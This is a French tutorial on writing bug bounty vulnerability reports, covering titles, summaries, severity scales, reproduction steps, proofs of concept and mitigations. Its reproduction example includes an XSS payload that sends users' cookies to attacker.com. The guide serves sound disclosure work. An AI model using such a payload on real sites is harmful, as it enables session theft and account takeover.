📓Ecrire un bon rapport
1 - Utiliser un titre descriptif
La première partie d'un bon rapport de vulnérabilité est toujours un titre descriptif.
Utilisez un titre qui résume le rapport en une phrase. Idéalement, il devrait permettre à l'équipe de sécurité d'avoir immédiatement une idée de la vulnérabilité, sur quel partie de périmètre elle se trouve et potentiellement sa gravité.
Pour cela, le titre doit répondre à ces trois questions:
Quelle est la vulnérabilité ou le type de vulnérabilité ? (XSS, IDOR, information disclosure...)
Où se trouve cette vulnérabilité ?
Quelle est la finalité de la vulnérabilité ?
XSS found on a critical endpoint -> pas assez précis
Bonne solution:
XSS found on https://exemple.com/profile and POST parameter "param" leads to account takeover.
Votre but est de donner aux personnes en charge de fixer le bug une idée du contenu dont vous allez parler par la suite.
2 - Fournir un résumé clair
Cette section inclue toutes les informations utiles qui n'ont pas pu être mis dans le titre comme les paramètres de la requête HTTP utilisés, la façon dont la vulnérabilité a été trouvée etc.
Exemple:
http://exemple.com/profile takes three POST body parameters: user_token, user_name and user_bio. special caracters like <>{}''()# are not filtered and users inputs are not validate allowing them to execute scripts in their name or biography field. An attacker can use this to exploit LFI.
On bon résumé de rapport est clair et concis, il contient tous les détails du titre précédemment donné (bug, localisation, ce que l'attaquant peut faire grâce à lui).
3 - Inclure une évaluation de la gravité
L'inclusion d'une évaluation de la gravité de la vulnérabilité trouvée aidera les équipes de sécurité à hiérarchiser les vulnérabilités à corriger.
Vous pouvez vous baser sur une méthode d'évaluation comme celle-ci par exemple:
Mineur : faible risque pour l'entreprise pouvant nécessiter une correction. (exp: Open redirect seulement utilisable pour du phishing)
Important : risque modéré pour l'entreprise et nécessitant une correction à moyen terme. (exp: CSRF)
Majeur : risque majeur pour l'entreprise nécessitant une correction à court terme. (exp: Account Takeover)
Critique : risque critique pour l'entreprise nécessitant une correction immédiate ou imposant un arrêt immédiat du service. (exp: RCE)
La gravité d'une d'une vulnérabilité peut être évaluée de cette manière grâce à deux critères, la facilité d'exploitation :
Facile : exploitation triviale, sans outil particulier
Modérée : exploitation nécessitant des techniques simples et des outils disponibles publiquement.
Elevée : exploitation de vulnérabilités publiques nécessitant des compétences en sécurité des systèmes d’information et le développement d’outils simples.
Difficile : exploitation de vulnérabilités non publiées nécessitant une expertise en sécurité des systèmes d’information et le développement d’outils spécifiques et ciblés.
Puis le niveau d'impact :
Mineur : pas de conséquences directes sur la sécurité du système d’information audité
Important : conséquences isolées sur des points précis du système d’information audité
Majeur : conséquences restreintes sur une partie du système d’information audité
Critique : conséquences généralisées sur l’ensemble du système d'information audité.
On peut aussi s'aider d'un calculateur de CVSS pour calculer le score CVSS de la vulnérabilité trouvée.
4 - Donner clairement les étapes à suivre pour reproduire la vulnérabilité
Il s'agit ensuite de donner pas-à-pas les actions à effectuer pour reproduire la vulnérabilité.
Il faut inclure toutes les conditions préalables de configuration si il y en a, l'idée est de faire comme si la personne qui lira ce rapport n'a aucune idée du fonctionnement de l'application.
Exemple:
1 - Log onto https://exemple.com/
2 - Go to "my profile" section in the top right corner of the page
3 - Change your username to "><script>fetch('https://attacker.com/?cookie='+document.cookie)</script>
4 - You can now retrieve other users authentication cookies and use them to takeover their session.
5 - Fournir un Proof of Concept (PoC)
Pour les vulnérabilités simple à reproduire, l'usage d'un PoC n'est pas nécessaire. Pour les vulnérabilité plus complexes, il est recommendé de fournir, vidéos, capture d'écran ou photos documentant l'exploitation de celle-ci.
Par exemple pour une faille de file upload, fournir le webshell, reverse shell ou autre fichier contenant la charge utile utilisée permet aux équipes de sécurité de reproduire la vulnérabilité plus simplement en utilisant directement les ressources que vous avez utilisé.
6 - Décrire les scénarios d'attaque et d'impact
Cette étape permet de donner aux équipes de sécurité de visualiser l'impact potentiel de l'exploitation de la vulnérabilité par un hacker malveillant.
Il s'agit donc de se mettre dans la peau d'un hacker malveillant et essayer d'intensifier l'impact de la vulnérabilité autant que possible, de donner à l'entreprise le pire scénario pouvant leur arriver avec l'exploitation de cette vulnérabilité.
Attention, il faut que l'impact donné soit réaliste, le but est d'intensifier au maximum l'impact sans pour autant partir dans des hypothèses potentiellement impossibles.
7 - Recommander des mesures d'atténuation ou résolution
Donner des mesures d'atténuation ou de résolution complète du bug permettra aux équipes de sécurité de gagner du temps et d'avoir le point de vue du chercheur.
Exemples:
Utiliser la commande htmlspecialchar() pour filtrer les caractères spéciaux en PHP.
Utiliser l'instruction HttpOnly pour éviter l'accès aux cookies en Javascript.
...
Attention: Ne pas faire de recommandation en cas de doute, les équipes de sécurité aurons probablement un meilleur contexte et une meilleur connaissance du fonctionnement de l'application.
8 - Valider le rapport
Enfin, vérifier une dernière fois votre rapport avant de l'envoyer afin de vérifier si il ne contient pas d'erreur ou d'ambiguïté pouvant empêcher l'équipe de sécurité de le comprendre. Cette étape est indispensable pour réduire au maximum le risque que celui-ci soit invalidé.
Autre
Ne présumez rien
Ne présumez pas que l'équipe de sécurité comprendra tout dans votre rapport, les start-up notamment ont rarement une équipe dédiée à la sécurité. Aidez-les à comprendre vos découvertes et accompagnez les le plus possible. Il est aussi bon d'inclure des références pour les détails techniques.
Dernière mise à jour
